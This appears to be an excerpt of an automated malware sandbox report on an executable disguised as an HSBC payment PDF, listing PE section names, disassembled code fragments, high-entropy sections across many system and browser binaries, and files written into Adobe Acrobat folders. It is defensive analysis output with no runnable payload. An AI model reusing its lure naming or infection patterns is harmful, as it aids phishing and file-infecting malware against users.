Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: .gxfg
Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: .retplne
Source: ie_to_edge_stub.exe.4.dr	Static PE information: section name: _RDATA
Source: cookie_exporter.exe.4.dr	Static PE information: section name: .00cfg
Source: cookie_exporter.exe.4.dr	Static PE information: section name: .gxfg
Source: cookie_exporter.exe.4.dr	Static PE information: section name: .retplne
Source: cookie_exporter.exe.4.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.4.dr	Static PE information: section name: .00cfg
Source: identity_helper.exe.4.dr	Static PE information: section name: .gxfg
Source: identity_helper.exe.4.dr	Static PE information: section name: .retplne
Source: identity_helper.exe.4.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.4.dr	Static PE information: section name: malloc_h
Source: setup.exe.4.dr	Static PE information: section name: .00cfg
Source: setup.exe.4.dr	Static PE information: section name: .gxfg
Source: setup.exe.4.dr	Static PE information: section name: .retplne
Source: setup.exe.4.dr	Static PE information: section name: LZMADEC
Source: setup.exe.4.dr	Static PE information: section name: _RDATA
Source: setup.exe.4.dr	Static PE information: section name: malloc_h
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .00cfg
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .gxfg
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .retplne
Source: msedgewebview2.exe.4.dr	Static PE information: section name: CPADinfo
Source: msedgewebview2.exe.4.dr	Static PE information: section name: LZMADEC
Source: msedgewebview2.exe.4.dr	Static PE information: section name: _RDATA
Source: msedgewebview2.exe.4.dr	Static PE information: section name: malloc_h
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .00cfg
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .gxfg
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .retplne
Source: msedge_proxy.exe.4.dr	Static PE information: section name: _RDATA
Source: msedge_proxy.exe.4.dr	Static PE information: section name: malloc_h
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .00cfg
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .gxfg
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .retplne
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: LZMADEC
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: _RDATA
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: malloc_h

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00428945 push ecx; ret	0_2_00428958
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_00402F12 push es; retf	0_2_00402F13
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15C38h; ret	0_2_02F15C35
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15C98h; ret	0_2_02F15C79
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15D22h; ret	0_2_02F15CB0
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15F3Eh; ret	0_2_02F15D79
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15E05h; ret	0_2_02F15DD4
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15FAEh; ret	0_2_02F15F1A
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15EE7h; ret	0_2_02F15F39
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F15E3Ch; ret	0_2_02F15F48
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16056h; ret	0_2_02F16014
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F162B2h; ret	0_2_02F1604C
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F161B2h; ret	0_2_02F16055
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F161E9h; ret	0_2_02F16092
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F1616Dh; ret	0_2_02F160B0
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F160FAh; ret	0_2_02F160BF
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16189h; ret	0_2_02F160D2
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F1621Ch; ret	0_2_02F161D1
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16248h; ret	0_2_02F161E8
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F1606Fh; ret	0_2_02F162AF
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16374h; ret	0_2_02F16367
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F163BDh; ret	0_2_02F16373
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16441h; ret	0_2_02F163FA
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F163FFh; ret	0_2_02F1642E
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16563h; ret	0_2_02F16485
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F1651Ch; ret	0_2_02F1659E
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F165CAh; ret	0_2_02F16695
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16947h; ret	0_2_02F166A1
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16A3Bh; ret	0_2_02F166B3
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F16869h; ret	0_2_02F1673A
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Code function: 0_2_02F162E0 push 02F165D8h; ret	0_2_02F1684D

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Static PE information: section name: .reloc entropy: 7.920472610831056
Source: AppVClient.exe.0.dr	Static PE information: section name: .reloc entropy: 7.92358913029766
Source: chrome_proxy.exe.4.dr	Static PE information: section name: .reloc entropy: 7.92726442586127
Source: default-browser-agent.exe.4.dr	Static PE information: section name: .reloc entropy: 7.929311025309845
Source: firefox.exe.4.dr	Static PE information: section name: .reloc entropy: 7.926471628018936
Source: minidump-analyzer.exe.4.dr	Static PE information: section name: .reloc entropy: 7.922344179985933
Source: FXSSVC.exe.4.dr	Static PE information: section name: .reloc entropy: 7.93006237528671
Source: elevation_service.exe.4.dr	Static PE information: section name: .reloc entropy: 7.931714198787888
Source: elevation_service.exe0.4.dr	Static PE information: section name: .reloc entropy: 7.933946495231756
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.4.dr	Static PE information: section name: .reloc entropy: 7.922117608319024
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.4.dr	Static PE information: section name: .reloc entropy: 7.922118553104344
Source: SensorDataService.exe.4.dr	Static PE information: section name: .reloc entropy: 7.9225210235147
Source: Spectrum.exe.4.dr	Static PE information: section name: .reloc entropy: 7.933283721436733
Source: AgentService.exe.4.dr	Static PE information: section name: .reloc entropy: 7.924362285797312
Source: vds.exe.4.dr	Static PE information: section name: .reloc entropy: 7.928794455099482
Source: VSSVC.exe.4.dr	Static PE information: section name: .reloc entropy: 7.927148447799061
Source: wbengine.exe.4.dr	Static PE information: section name: .reloc entropy: 7.929015421427103
Source: wmpnetwk.exe.4.dr	Static PE information: section name: .reloc entropy: 7.934808283704654
Source: SearchIndexer.exe.4.dr	Static PE information: section name: .reloc entropy: 7.933761232949268
Source: identity_helper.exe.4.dr	Static PE information: section name: .reloc entropy: 7.928228290645618
Source: setup.exe.4.dr	Static PE information: section name: .reloc entropy: 7.932267885972346
Source: msedgewebview2.exe.4.dr	Static PE information: section name: .reloc entropy: 7.923536914141419
Source: msedge_proxy.exe.4.dr	Static PE information: section name: .reloc entropy: 7.92985152599304
Source: msedge_pwa_launcher.exe.4.dr	Static PE information: section name: .reloc entropy: 7.9342430362750855

Persistence and Installation Behavior

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
